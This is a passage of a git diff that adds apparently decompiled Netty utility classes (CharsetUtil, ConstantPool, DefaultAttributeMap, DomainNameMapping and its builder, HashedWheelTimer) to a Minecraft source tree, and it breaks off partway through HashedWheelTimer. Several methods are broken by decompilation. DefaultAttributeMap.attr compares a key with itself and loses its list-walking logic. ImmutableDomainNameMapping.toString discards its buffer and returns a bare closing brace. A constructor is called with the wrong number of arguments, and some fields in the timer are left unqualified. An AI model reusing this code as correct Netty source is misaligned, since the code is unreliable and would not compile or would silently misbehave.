+  public static final ByteProcessor FIND_LF = new IndexOfProcessor((byte)10);
+  
+
+
+
+  public static final ByteProcessor FIND_NON_LF = new IndexNotOfProcessor((byte)10);
+  
+
+
+
+  public static final ByteProcessor FIND_SEMI_COLON = new IndexOfProcessor((byte)59);
+  
+
+
+
+  public static final ByteProcessor FIND_CRLF = new ByteProcessor()
+  {
+    public boolean process(byte value) {
+      return (value != 13) && (value != 10);
+    }
+  };
+  
+
+
+
+  public static final ByteProcessor FIND_NON_CRLF = new ByteProcessor()
+  {
+    public boolean process(byte value) {
+      return (value == 13) || (value == 10);
+    }
+  };
+  
+
+
+
+  public static final ByteProcessor FIND_LINEAR_WHITESPACE = new ByteProcessor()
+  {
+    public boolean process(byte value) {
+      return (value != 32) && (value != 9);
+    }
+  };
+  
+
+
+
+  public static final ByteProcessor FIND_NON_LINEAR_WHITESPACE = new ByteProcessor()
+  {
+    public boolean process(byte value) {
+      return (value == 32) || (value == 9);
+    }
+  };
+}
diff --git a/src/minecraft/io/netty/util/CharsetUtil.java b/src/minecraft/io/netty/util/CharsetUtil.java
new file mode 100644
index 0000000..a547235
--- /dev/null
+++ b/src/minecraft/io/netty/util/CharsetUtil.java
@@ -0,0 +1,115 @@
+package io.netty.util;
+
+import io.netty.util.internal.InternalThreadLocalMap;
+import java.nio.charset.Charset;
+import java.nio.charset.CharsetDecoder;
+import java.nio.charset.CharsetEncoder;
+import java.nio.charset.CodingErrorAction;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class CharsetUtil
+{
+  public static final Charset UTF_16 = Charset.forName("UTF-16");
+  
+
+
+
+  public static final Charset UTF_16BE = Charset.forName("UTF-16BE");
+  
+
+
+
+  public static final Charset UTF_16LE = Charset.forName("UTF-16LE");
+  
+
+
+
+  public static final Charset UTF_8 = Charset.forName("UTF-8");
+  
+
+
+
+  public static final Charset ISO_8859_1 = Charset.forName("ISO-8859-1");
+  
+
+
+
+
+  public static final Charset US_ASCII = Charset.forName("US-ASCII");
+  
+
+
+
+  public static CharsetEncoder getEncoder(Charset charset)
+  {
+    if (charset == null) {
+      throw new NullPointerException("charset");
+    }
+    
+    Map<Charset, CharsetEncoder> map = InternalThreadLocalMap.get().charsetEncoderCache();
+    CharsetEncoder e = (CharsetEncoder)map.get(charset);
+    if (e != null) {
+      e.reset();
+      e.onMalformedInput(CodingErrorAction.REPLACE);
+      e.onUnmappableCharacter(CodingErrorAction.REPLACE);
+      return e;
+    }
+    
+    e = charset.newEncoder();
+    e.onMalformedInput(CodingErrorAction.REPLACE);
+    e.onUnmappableCharacter(CodingErrorAction.REPLACE);
+    map.put(charset, e);
+    return e;
+  }
+  
+
+
+
+  public static CharsetDecoder getDecoder(Charset charset)
+  {
+    if (charset == null) {
+      throw new NullPointerException("charset");
+    }
+    
+    Map<Charset, CharsetDecoder> map = InternalThreadLocalMap.get().charsetDecoderCache();
+    CharsetDecoder d = (CharsetDecoder)map.get(charset);
+    if (d != null) {
+      d.reset();
+      d.onMalformedInput(CodingErrorAction.REPLACE);
+      d.onUnmappableCharacter(CodingErrorAction.REPLACE);
+      return d;
+    }
+    
+    d = charset.newDecoder();
+    d.onMalformedInput(CodingErrorAction.REPLACE);
+    d.onUnmappableCharacter(CodingErrorAction.REPLACE);
+    map.put(charset, d);
+    return d;
+  }
+  
+  private CharsetUtil() {}
+}
diff --git a/src/minecraft/io/netty/util/Constant.java b/src/minecraft/io/netty/util/Constant.java
new file mode 100644
index 0000000..29bd55c
--- /dev/null
+++ b/src/minecraft/io/netty/util/Constant.java
@@ -0,0 +1,9 @@
+package io.netty.util;
+
+public abstract interface Constant<T extends Constant<T>>
+  extends Comparable<T>
+{
+  public abstract int id();
+  
+  public abstract String name();
+}
diff --git a/src/minecraft/io/netty/util/ConstantPool.java b/src/minecraft/io/netty/util/ConstantPool.java
new file mode 100644
index 0000000..efd729d
--- /dev/null
+++ b/src/minecraft/io/netty/util/ConstantPool.java
@@ -0,0 +1,132 @@
+package io.netty.util;
+
+import io.netty.util.internal.ObjectUtil;
+import io.netty.util.internal.PlatformDependent;
+import java.util.concurrent.ConcurrentMap;
+import java.util.concurrent.atomic.AtomicInteger;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class ConstantPool<T extends Constant<T>>
+{
+  private final ConcurrentMap<String, T> constants = PlatformDependent.newConcurrentHashMap();
+  
+  private AtomicInteger nextId = new AtomicInteger(1);
+  
+  public ConstantPool() {}
+  
+  public T valueOf(Class<?> firstNameComponent, String secondNameComponent)
+  {
+    if (firstNameComponent == null) {
+      throw new NullPointerException("firstNameComponent");
+    }
+    if (secondNameComponent == null) {
+      throw new NullPointerException("secondNameComponent");
+    }
+    
+    return valueOf(firstNameComponent.getName() + '#' + secondNameComponent);
+  }
+  
+
+
+
+
+
+
+
+  public T valueOf(String name)
+  {
+    checkNotNullAndNotEmpty(name);
+    return getOrCreate(name);
+  }
+  
+
+
+
+
+  private T getOrCreate(String name)
+  {
+    T constant = (Constant)constants.get(name);
+    if (constant == null) {
+      T tempConstant = newConstant(nextId(), name);
+      constant = (Constant)constants.putIfAbsent(name, tempConstant);
+      if (constant == null) {
+        return tempConstant;
+      }
+    }
+    
+    return constant;
+  }
+  
+
+
+  public boolean exists(String name)
+  {
+    checkNotNullAndNotEmpty(name);
+    return constants.containsKey(name);
+  }
+  
+
+
+
+  public T newInstance(String name)
+  {
+    checkNotNullAndNotEmpty(name);
+    return createOrThrow(name);
+  }
+  
+
+
+
+
+  private T createOrThrow(String name)
+  {
+    T constant = (Constant)constants.get(name);
+    if (constant == null) {
+      T tempConstant = newConstant(nextId(), name);
+      constant = (Constant)constants.putIfAbsent(name, tempConstant);
+      if (constant == null) {
+        return tempConstant;
+      }
+    }
+    
+    throw new IllegalArgumentException(String.format("'%s' is already in use", new Object[] { name }));
+  }
+  
+  private String checkNotNullAndNotEmpty(String name) {
+    ObjectUtil.checkNotNull(name, "name");
+    
+    if (name.isEmpty()) {
+      throw new IllegalArgumentException("empty name");
+    }
+    
+    return name;
+  }
+  
+  protected abstract T newConstant(int paramInt, String paramString);
+  
+  @Deprecated
+  public final int nextId() {
+    return nextId.getAndIncrement();
+  }
+}
diff --git a/src/minecraft/io/netty/util/DefaultAttributeMap.java b/src/minecraft/io/netty/util/DefaultAttributeMap.java
new file mode 100644
index 0000000..aac1d8a
--- /dev/null
+++ b/src/minecraft/io/netty/util/DefaultAttributeMap.java
@@ -0,0 +1,179 @@
+package io.netty.util;
+
+import io.netty.util.internal.PlatformDependent;
+import java.util.concurrent.atomic.AtomicReference;
+import java.util.concurrent.atomic.AtomicReferenceArray;
+import java.util.concurrent.atomic.AtomicReferenceFieldUpdater;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultAttributeMap
+  implements AttributeMap
+{
+  private static final AtomicReferenceFieldUpdater<DefaultAttributeMap, AtomicReferenceArray> updater;
+  private static final int BUCKET_SIZE = 4;
+  private static final int MASK = 3;
+  private volatile AtomicReferenceArray<DefaultAttribute<?>> attributes;
+  
+  static
+  {
+    AtomicReferenceFieldUpdater<DefaultAttributeMap, AtomicReferenceArray> referenceFieldUpdater = PlatformDependent.newAtomicReferenceFieldUpdater(DefaultAttributeMap.class, "attributes");
+    
+    if (referenceFieldUpdater == null) {
+      referenceFieldUpdater = AtomicReferenceFieldUpdater.newUpdater(DefaultAttributeMap.class, AtomicReferenceArray.class, "attributes");
+    }
+    
+    updater = referenceFieldUpdater;
+  }
+  
+
+
+
+
+
+
+
+
+  public <T> Attribute<T> attr(AttributeKey<T> key)
+  {
+    if (key == null) {
+      throw new NullPointerException("key");
+    }
+    AtomicReferenceArray<DefaultAttribute<?>> attributes = this.attributes;
+    if (attributes == null)
+    {
+      attributes = new AtomicReferenceArray(4);
+      
+      if (!updater.compareAndSet(this, null, attributes)) {
+        attributes = this.attributes;
+      }
+    }
+    
+    int i = index(key);
+    DefaultAttribute<?> head = (DefaultAttribute)attributes.get(i);
+    if (head == null)
+    {
+
+      head = new DefaultAttribute(key);
+      if (attributes.compareAndSet(i, null, head))
+      {
+        return head;
+      }
+      head = (DefaultAttribute)attributes.get(i);
+    }
+    
+
+    synchronized (head) {
+      DefaultAttribute<?> curr = head;
+      
+      if ((!removed) && (key == key)) {
+        return curr;
+      }
+      
+      DefaultAttribute<?> next = next;
+      if (next == null) {
+        DefaultAttribute<T> attr = new DefaultAttribute(head, key);
+        next = attr;
+        prev = curr;
+        return attr;
+      }
+      curr = next;
+    }
+  }
+  
+
+  private static int index(AttributeKey<?> key)
+  {
+    return key.id() & 0x3;
+  }
+  
+
+  public DefaultAttributeMap() {}
+  
+
+  private static final class DefaultAttribute<T>
+    extends AtomicReference<T>
+    implements Attribute<T>
+  {
+    private static final long serialVersionUID = -2661411462200283011L;
+    private final DefaultAttribute<?> head;
+    private final AttributeKey<T> key;
+    private DefaultAttribute<?> prev;
+    private DefaultAttribute<?> next;
+    private volatile boolean removed;
+    
+    DefaultAttribute(DefaultAttribute<?> head, AttributeKey<T> key)
+    {
+      this.head = head;
+      this.key = key;
+    }
+    
+    DefaultAttribute(AttributeKey<T> key) {
+      head = this;
+      this.key = key;
+    }
+    
+    public AttributeKey<T> key()
+    {
+      return key;
+    }
+    
+    public T setIfAbsent(T value)
+    {
+      while (!compareAndSet(null, value)) {
+        T old = get();
+        if (old != null) {
+          return old;
+        }
+      }
+      return null;
+    }
+    
+    public T getAndRemove()
+    {
+      removed = true;
+      T oldValue = getAndSet(null);
+      remove0();
+      return oldValue;
+    }
+    
+    public void remove()
+    {
+      removed = true;
+      set(null);
+      remove0();
+    }
+    
+    private void remove0() {
+      synchronized (head)
+      {
+
+
+
+
+        if (prev != null) {
+          prev.next = next;
+          
+          if (next != null) {
+            next.prev = prev;
+          }
+        }
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/util/DomainMappingBuilder.java b/src/minecraft/io/netty/util/DomainMappingBuilder.java
new file mode 100644
index 0000000..c24aad2
--- /dev/null
+++ b/src/minecraft/io/netty/util/DomainMappingBuilder.java
@@ -0,0 +1,77 @@
+package io.netty.util;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@Deprecated
+public final class DomainMappingBuilder<V>
+{
+  private final DomainNameMappingBuilder<V> builder;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public DomainMappingBuilder(V defaultValue)
+  {
+    builder = new DomainNameMappingBuilder(defaultValue);
+  }
+  
+
+
+
+
+
+
+  public DomainMappingBuilder(int initialCapacity, V defaultValue)
+  {
+    builder = new DomainNameMappingBuilder(initialCapacity, defaultValue);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public DomainMappingBuilder<V> add(String hostname, V output)
+  {
+    builder.add(hostname, output);
+    return this;
+  }
+  
+
+
+
+
+
+  public DomainNameMapping<V> build()
+  {
+    return builder.build();
+  }
+}
diff --git a/src/minecraft/io/netty/util/DomainNameMapping.java b/src/minecraft/io/netty/util/DomainNameMapping.java
new file mode 100644
index 0000000..2cc3b4a
--- /dev/null
+++ b/src/minecraft/io/netty/util/DomainNameMapping.java
@@ -0,0 +1,150 @@
+package io.netty.util;
+
+import io.netty.util.internal.ObjectUtil;
+import io.netty.util.internal.StringUtil;
+import java.net.IDN;
+import java.util.Collections;
+import java.util.LinkedHashMap;
+import java.util.Locale;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DomainNameMapping<V>
+  implements Mapping<String, V>
+{
+  final V defaultValue;
+  private final Map<String, V> map;
+  private final Map<String, V> unmodifiableMap;
+  
+  @Deprecated
+  public DomainNameMapping(V defaultValue)
+  {
+    this(4, defaultValue);
+  }
+  
+
+
+
+
+
+
+
+  @Deprecated
+  public DomainNameMapping(int initialCapacity, V defaultValue)
+  {
+    this(new LinkedHashMap(initialCapacity), defaultValue);
+  }
+  
+  DomainNameMapping(Map<String, V> map, V defaultValue) {
+    this.defaultValue = ObjectUtil.checkNotNull(defaultValue, "defaultValue");
+    this.map = map;
+    unmodifiableMap = (map != null ? Collections.unmodifiableMap(map) : null);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  @Deprecated
+  public DomainNameMapping<V> add(String hostname, V output)
+  {
+    map.put(normalizeHostname((String)ObjectUtil.checkNotNull(hostname, "hostname")), ObjectUtil.checkNotNull(output, "output"));
+    return this;
+  }
+  
+
+
+  static boolean matches(String template, String hostName)
+  {
+    if (template.startsWith("*.")) {
+      return (template.regionMatches(2, hostName, 0, hostName.length())) || (StringUtil.commonSuffixOfLength(hostName, template, template.length() - 1));
+    }
+    
+    return template.equals(hostName);
+  }
+  
+
+
+  static String normalizeHostname(String hostname)
+  {
+    if (needsNormalization(hostname)) {
+      hostname = IDN.toASCII(hostname, 1);
+    }
+    return hostname.toLowerCase(Locale.US);
+  }
+  
+  private static boolean needsNormalization(String hostname) {
+    int length = hostname.length();
+    for (int i = 0; i < length; i++) {
+      int c = hostname.charAt(i);
+      if (c > 127) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+  public V map(String hostname)
+  {
+    if (hostname != null) {
+      hostname = normalizeHostname(hostname);
+      
+      for (Map.Entry<String, V> entry : map.entrySet()) {
+        if (matches((String)entry.getKey(), hostname)) {
+          return entry.getValue();
+        }
+      }
+    }
+    return defaultValue;
+  }
+  
+
+
+  public Map<String, V> asMap()
+  {
+    return unmodifiableMap;
+  }
+  
+  public String toString()
+  {
+    return StringUtil.simpleClassName(this) + "(default: " + defaultValue + ", map: " + map + ')';
+  }
+}
diff --git a/src/minecraft/io/netty/util/DomainNameMappingBuilder.java b/src/minecraft/io/netty/util/DomainNameMappingBuilder.java
new file mode 100644
index 0000000..3a0bda0
--- /dev/null
+++ b/src/minecraft/io/netty/util/DomainNameMappingBuilder.java
@@ -0,0 +1,204 @@
+package io.netty.util;
+
+import io.netty.util.internal.ObjectUtil;
+import java.util.Collections;
+import java.util.LinkedHashMap;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class DomainNameMappingBuilder<V>
+{
+  private final V defaultValue;
+  private final Map<String, V> map;
+  
+  public DomainNameMappingBuilder(V defaultValue)
+  {
+    this(4, defaultValue);
+  }
+  
+
+
+
+
+
+
+  public DomainNameMappingBuilder(int initialCapacity, V defaultValue)
+  {
+    this.defaultValue = ObjectUtil.checkNotNull(defaultValue, "defaultValue");
+    map = new LinkedHashMap(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public DomainNameMappingBuilder<V> add(String hostname, V output)
+  {
+    map.put(ObjectUtil.checkNotNull(hostname, "hostname"), ObjectUtil.checkNotNull(output, "output"));
+    return this;
+  }
+  
+
+
+
+
+
+  public DomainNameMapping<V> build()
+  {
+    return new ImmutableDomainNameMapping(defaultValue, map, null);
+  }
+  
+
+  private static final class ImmutableDomainNameMapping<V>
+    extends DomainNameMapping<V>
+  {
+    private static final String REPR_HEADER = "ImmutableDomainNameMapping(default: ";
+    
+    private static final String REPR_MAP_OPENING = ", map: {";
+    
+    private static final String REPR_MAP_CLOSING = "})";
+    
+    private static final int REPR_CONST_PART_LENGTH = "ImmutableDomainNameMapping(default: ".length() + ", map: {".length() + "})".length();
+    
+    private final String[] domainNamePatterns;
+    
+    private final V[] values;
+    private final Map<String, V> map;
+    
+    private ImmutableDomainNameMapping(V defaultValue, Map<String, V> map)
+    {
+      super(defaultValue);
+      
+      Set<Map.Entry<String, V>> mappings = map.entrySet();
+      int numberOfMappings = mappings.size();
+      domainNamePatterns = new String[numberOfMappings];
+      values = ((Object[])new Object[numberOfMappings]);
+      
+      Map<String, V> mapCopy = new LinkedHashMap(map.size());
+      int index = 0;
+      for (Map.Entry<String, V> mapping : mappings) {
+        String hostname = normalizeHostname((String)mapping.getKey());
+        V value = mapping.getValue();
+        domainNamePatterns[index] = hostname;
+        values[index] = value;
+        mapCopy.put(hostname, value);
+        index++;
+      }
+      
+      this.map = Collections.unmodifiableMap(mapCopy);
+    }
+    
+    @Deprecated
+    public DomainNameMapping<V> add(String hostname, V output)
+    {
+      throw new UnsupportedOperationException("Immutable DomainNameMapping does not support modification after initial creation");
+    }
+    
+
+    public V map(String hostname)
+    {
+      if (hostname != null) {
+        hostname = normalizeHostname(hostname);
+        
+        int length = domainNamePatterns.length;
+        for (int index = 0; index < length; index++) {
+          if (matches(domainNamePatterns[index], hostname)) {
+            return values[index];
+          }
+        }
+      }
+      
+      return defaultValue;
+    }
+    
+    public Map<String, V> asMap()
+    {
+      return map;
+    }
+    
+    public String toString()
+    {
+      String defaultValueStr = defaultValue.toString();
+      
+      int numberOfMappings = domainNamePatterns.length;
+      if (numberOfMappings == 0) {
+        return "ImmutableDomainNameMapping(default: " + defaultValueStr + ", map: {" + "})";
+      }
+      
+      String pattern0 = domainNamePatterns[0];
+      String value0 = values[0].toString();
+      int oneMappingLength = pattern0.length() + value0.length() + 3;
+      int estimatedBufferSize = estimateBufferSize(defaultValueStr.length(), numberOfMappings, oneMappingLength);
+      
+      StringBuilder sb = new StringBuilder(estimatedBufferSize).append("ImmutableDomainNameMapping(default: ").append(defaultValueStr).append(", map: {");
+      
+
+      appendMapping(sb, pattern0, value0);
+      for (int index = 1; index < numberOfMappings; index++) {
+        sb.append(", ");
+        appendMapping(sb, index);
+      }
+      
+      return "})";
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+    private static int estimateBufferSize(int defaultValueLength, int numberOfMappings, int estimatedMappingLength)
+    {
+      return REPR_CONST_PART_LENGTH + defaultValueLength + (int)(estimatedMappingLength * numberOfMappings * 1.1D);
+    }
+    
+    private StringBuilder appendMapping(StringBuilder sb, int mappingIndex)
+    {
+      return appendMapping(sb, domainNamePatterns[mappingIndex], values[mappingIndex].toString());
+    }
+    
+    private static StringBuilder appendMapping(StringBuilder sb, String domainNamePattern, String value) {
+      return sb.append(domainNamePattern).append('=').append(value);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/util/HashedWheelTimer.java b/src/minecraft/io/netty/util/HashedWheelTimer.java
new file mode 100644
index 0000000..8105d52
--- /dev/null
+++ b/src/minecraft/io/netty/util/HashedWheelTimer.java
@@ -0,0 +1,741 @@
+package io.netty.util;
+
+import io.netty.util.internal.MpscLinkedQueueNode;
+import io.netty.util.internal.PlatformDependent;
+import io.netty.util.internal.StringUtil;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.util.Collections;
+import java.util.HashSet;
+import java.util.Queue;
+import java.util.Set;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executors;
+import java.util.concurrent.ThreadFactory;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicIntegerFieldUpdater;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class HashedWheelTimer
+  implements Timer
+{
+  static final InternalLogger logger = InternalLoggerFactory.getInstance(HashedWheelTimer.class);
+  
+
+  private static final ResourceLeakDetector<HashedWheelTimer> leakDetector = new ResourceLeakDetector(HashedWheelTimer.class, 1, Runtime.getRuntime().availableProcessors() * 4);
+  private static final AtomicIntegerFieldUpdater<HashedWheelTimer> WORKER_STATE_UPDATER;
+  private final ResourceLeak leak;
+  
+  static
+  {
+    AtomicIntegerFieldUpdater<HashedWheelTimer> workerStateUpdater = PlatformDependent.newAtomicIntegerFieldUpdater(HashedWheelTimer.class, "workerState");
+    
+    if (workerStateUpdater == null) {
+      workerStateUpdater = AtomicIntegerFieldUpdater.newUpdater(HashedWheelTimer.class, "workerState");
+    }
+    WORKER_STATE_UPDATER = workerStateUpdater;
+  }
+  
+
+  private final Worker worker = new Worker(null);
+  
+  private final Thread workerThread;
+  public static final int WORKER_STATE_INIT = 0;
+  public static final int WORKER_STATE_STARTED = 1;
+  public static final int WORKER_STATE_SHUTDOWN = 2;
+  private volatile int workerState = 0;
+  
+  private final long tickDuration;
+  
+  private final HashedWheelBucket[] wheel;
+  private final int mask;
+  private final CountDownLatch startTimeInitialized = new CountDownLatch(1);
+  private final Queue<HashedWheelTimeout> timeouts = PlatformDependent.newMpscQueue();
+  private final Queue<Runnable> cancelledTimeouts = PlatformDependent.newMpscQueue();
+  
+
+
+  private volatile long startTime;
+  
+
+
+  public HashedWheelTimer()
+  {
+    this(Executors.defaultThreadFactory());
+  }
+  
+
+
+
+
+
+
+
+
+
+  public HashedWheelTimer(long tickDuration, TimeUnit unit)
+  {
+    this(Executors.defaultThreadFactory(), tickDuration, unit);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public HashedWheelTimer(long tickDuration, TimeUnit unit, int ticksPerWheel)
+  {
+    this(Executors.defaultThreadFactory(), tickDuration, unit, ticksPerWheel);
+  }
+  
+
+
+
+
+
+
+
+
+  public HashedWheelTimer(ThreadFactory threadFactory)
+  {
+    this(threadFactory, 100L, TimeUnit.MILLISECONDS);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public HashedWheelTimer(ThreadFactory threadFactory, long tickDuration, TimeUnit unit)
+  {
+    this(threadFactory, tickDuration, unit, 512);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public HashedWheelTimer(ThreadFactory threadFactory, long tickDuration, TimeUnit unit, int ticksPerWheel)
+  {
+    if (threadFactory == null) {
+      throw new NullPointerException("threadFactory");
+    }
+    if (unit == null) {
+      throw new NullPointerException("unit");
+    }
+    if (tickDuration <= 0L) {
+      throw new IllegalArgumentException("tickDuration must be greater than 0: " + tickDuration);
+    }
+    if (ticksPerWheel <= 0) {
+      throw new IllegalArgumentException("ticksPerWheel must be greater than 0: " + ticksPerWheel);
+    }
+    
+
+    wheel = createWheel(ticksPerWheel);
+    mask = (wheel.length - 1);
+    
+
+    this.tickDuration = unit.toNanos(tickDuration);
+    
+
+    if (this.tickDuration >= Long.MAX_VALUE / wheel.length) {
+      throw new IllegalArgumentException(String.format("tickDuration: %d (expected: 0 < tickDuration in nanos < %d", new Object[] { Long.valueOf(tickDuration), Long.valueOf(Long.MAX_VALUE / wheel.length) }));
+    }
+    
+
+    workerThread = threadFactory.newThread(worker);
+    
+    leak = leakDetector.open(this);
+  }
+  
+  private static HashedWheelBucket[] createWheel(int ticksPerWheel) {
+    if (ticksPerWheel <= 0) {
+      throw new IllegalArgumentException("ticksPerWheel must be greater than 0: " + ticksPerWheel);
+    }
+    
+    if (ticksPerWheel > 1073741824) {
+      throw new IllegalArgumentException("ticksPerWheel may not be greater than 2^30: " + ticksPerWheel);
+    }
+    
+
+    ticksPerWheel = normalizeTicksPerWheel(ticksPerWheel);
+    HashedWheelBucket[] wheel = new HashedWheelBucket[ticksPerWheel];
+    for (int i = 0; i < wheel.length; i++) {
+      wheel[i] = new HashedWheelBucket(null);
+    }
+    return wheel;
+  }
+  
+  private static int normalizeTicksPerWheel(int ticksPerWheel) {
+    int normalizedTicksPerWheel = 1;
+    while (normalizedTicksPerWheel < ticksPerWheel) {
+      normalizedTicksPerWheel <<= 1;
+    }
+    return normalizedTicksPerWheel;
+  }
+  
+
+
+
+
+
+
+  public void start()
+  {
+    switch (WORKER_STATE_UPDATER.get(this)) {
+    case 0: 
+      if (WORKER_STATE_UPDATER.compareAndSet(this, 0, 1)) {
+        workerThread.start();
+      }
+      break;
+    case 1: 
+      break;
+    case 2: 
+      throw new IllegalStateException("cannot be started once stopped");
+    default: 
+      throw new Error("Invalid WorkerState");
+    }
+    
+    
+    while (startTime == 0L) {
+      try {
+        startTimeInitialized.await();
+      }
+      catch (InterruptedException ignore) {}
+    }
+  }
+  
+
+  public Set<Timeout> stop()
+  {
+    if (Thread.currentThread() == workerThread) {
+      throw new IllegalStateException(HashedWheelTimer.class.getSimpleName() + ".stop() cannot be called from " + TimerTask.class.getSimpleName());
+    }
+    
+
+
+
+    if (!WORKER_STATE_UPDATER.compareAndSet(this, 1, 2))
+    {
+      WORKER_STATE_UPDATER.set(this, 2);
+      
+      if (leak != null) {
+        leak.close();
+      }
+      
+      return Collections.emptySet();
+    }
+    
+    boolean interrupted = false;
+    while (workerThread.isAlive()) {
+      workerThread.interrupt();
+      try {
+        workerThread.join(100L);
+      } catch (InterruptedException ignored) {
+        interrupted = true;
+      }
+    }
+    
+    if (interrupted) {
+      Thread.currentThread().interrupt();
+    }
+    
+    if (leak != null) {
+      leak.close();
+    }
+    return worker.unprocessedTimeouts();
+  }
+  
+  public Timeout newTimeout(TimerTask task, long delay, TimeUnit unit)
+  {
+    if (task == null) {
+      throw new NullPointerException("task");
+    }
+    if (unit == null) {
+      throw new NullPointerException("unit");
+    }
+    start();
+    
+
+
+    long deadline = System.nanoTime() + unit.toNanos(delay) - startTime;
+    HashedWheelTimeout timeout = new HashedWheelTimeout(this, task, deadline);
+    timeouts.add(timeout);
+    return timeout;
+  }
+  
+  private final class Worker implements Runnable {
+    private final Set<Timeout> unprocessedTimeouts = new HashSet();
+    private long tick;
+    
+    private Worker() {}
+    
+    public void run()
+    {
+      startTime = System.nanoTime();
+      if (startTime == 0L)
+      {
+        startTime = 1L;
+      }
+      
+
+      startTimeInitialized.countDown();
+      do
+      {
+        long deadline = waitForNextTick();
+        if (deadline > 0L) {
+          int idx = (int)(tick & mask);
+          processCancelledTasks();
+          HashedWheelTimer.HashedWheelBucket bucket = wheel[idx];
+          
+          transferTimeoutsToBuckets();
+          bucket.expireTimeouts(deadline);
+          tick += 1L;
+        }
+      } while (HashedWheelTimer.WORKER_STATE_UPDATER.get(HashedWheelTimer.this) == 1);
+      
+
+      for (HashedWheelTimer.HashedWheelBucket bucket : wheel) {
+        bucket.clearTimeouts(unprocessedTimeouts);
+      }
+      for (;;) {
+        HashedWheelTimer.HashedWheelTimeout timeout = (HashedWheelTimer.HashedWheelTimeout)timeouts.poll();
+        if (timeout == null) {
+          break;
+        }
+        if (!timeout.isCancelled()) {
+          unprocessedTimeouts.add(timeout);
+        }
+      }
+      processCancelledTasks();
+    }
+    
+
+    private void transferTimeoutsToBuckets()
+    {
+      for (int i = 0; i < 100000; i++) {
+        HashedWheelTimer.HashedWheelTimeout timeout = (HashedWheelTimer.HashedWheelTimeout)timeouts.poll();
+        if (timeout == null) {
+          break;
+        }
+        
+        if (timeout.state() != 1)
+        {
+
+
+
+          long calculated = deadline / tickDuration;
+          remainingRounds = ((calculated - tick) / wheel.length);
+          
+          long ticks = Math.max(calculated, tick);
+          int stopIndex = (int)(ticks & mask);
+          
+          HashedWheelTimer.HashedWheelBucket bucket = wheel[stopIndex];
+          bucket.addTimeout(timeout);
+        }
+      }
+    }
+    
+    private void processCancelledTasks() {
+      for (;;) { Runnable task = (Runnable)cancelledTimeouts.poll();
+        if (task == null) {
+          break;
+        }
+        try
+        {
+          task.run();
+        } catch (Throwable t) {
+          if (HashedWheelTimer.logger.isWarnEnabled()) {
+            HashedWheelTimer.logger.warn("An exception was thrown while process a cancellation task", t);
+          }
+        }
+      }
+    }
+    
+
+
+
+
+
+    private long waitForNextTick()
+    {
+      long deadline = tickDuration * (tick + 1L);
+      for (;;)
+      {
+        long currentTime = System.nanoTime() - startTime;
+        long sleepTimeMs = (deadline - currentTime + 999999L) / 1000000L;
+        
+        if (sleepTimeMs <= 0L) {
+          if (currentTime == Long.MIN_VALUE) {
+            return -9223372036854775807L;
+          }
+          return currentTime;
+        }
+        
+
+
+
+
+
+
+        if (PlatformDependent.isWindows()) {
+          sleepTimeMs = sleepTimeMs / 10L * 10L;
+        }
+        try
+        {
+          Thread.sleep(sleepTimeMs);
+        } catch (InterruptedException ignored) {
+          if (HashedWheelTimer.WORKER_STATE_UPDATER.get(HashedWheelTimer.this) == 2) {
+            return Long.MIN_VALUE;
+          }
+        }
+      }
+    }
+    
+
+    public Set<Timeout> unprocessedTimeouts() { return Collections.unmodifiableSet(unprocessedTimeouts); }
+  }
+  
+  private static final class HashedWheelTimeout extends MpscLinkedQueueNode<Timeout> implements Timeout {
+    private static final int ST_INIT = 0;
+    private static final int ST_CANCELLED = 1;
+    private static final int ST_EXPIRED = 2;
+    private static final AtomicIntegerFieldUpdater<HashedWheelTimeout> STATE_UPDATER;
+    private final HashedWheelTimer timer;
+    private final TimerTask task;
+    private final long deadline;
+    
+    static {
+      AtomicIntegerFieldUpdater<HashedWheelTimeout> updater = PlatformDependent.newAtomicIntegerFieldUpdater(HashedWheelTimeout.class, "state");
+      
+      if (updater == null) {
+        updater = AtomicIntegerFieldUpdater.newUpdater(HashedWheelTimeout.class, "state");
+      }
+      STATE_UPDATER = updater;
+    }
+    
+
+
+
+
+    private volatile int state = 0;
+    
+
+    long remainingRounds;
+    
+
+    HashedWheelTimeout next;
+    
+
+    HashedWheelTimeout prev;
+    
+    HashedWheelTimer.HashedWheelBucket bucket;
+    
+
+    HashedWheelTimeout(HashedWheelTimer timer, TimerTask task, long deadline)
+    {
+      this.timer = timer;
+      this.task = task;
+      this.deadline = deadline;
+    }
+    
+    public Timer timer()
+    {
+      return timer;
+    }
+    
+    public TimerTask task()
+    {
+      return task;
+    }
+    
+
+    public boolean cancel()
+    {
+      if (!compareAndSetState(0, 1)) {
+        return false;
+      }
+      
+
+
+
+
+
+
+      timer.cancelledTimeouts.add(new Runnable()
+      {
+        public void run() {
+          HashedWheelTimer.HashedWheelBucket bucket = HashedWheelTimer.HashedWheelTimeout.this.bucket;
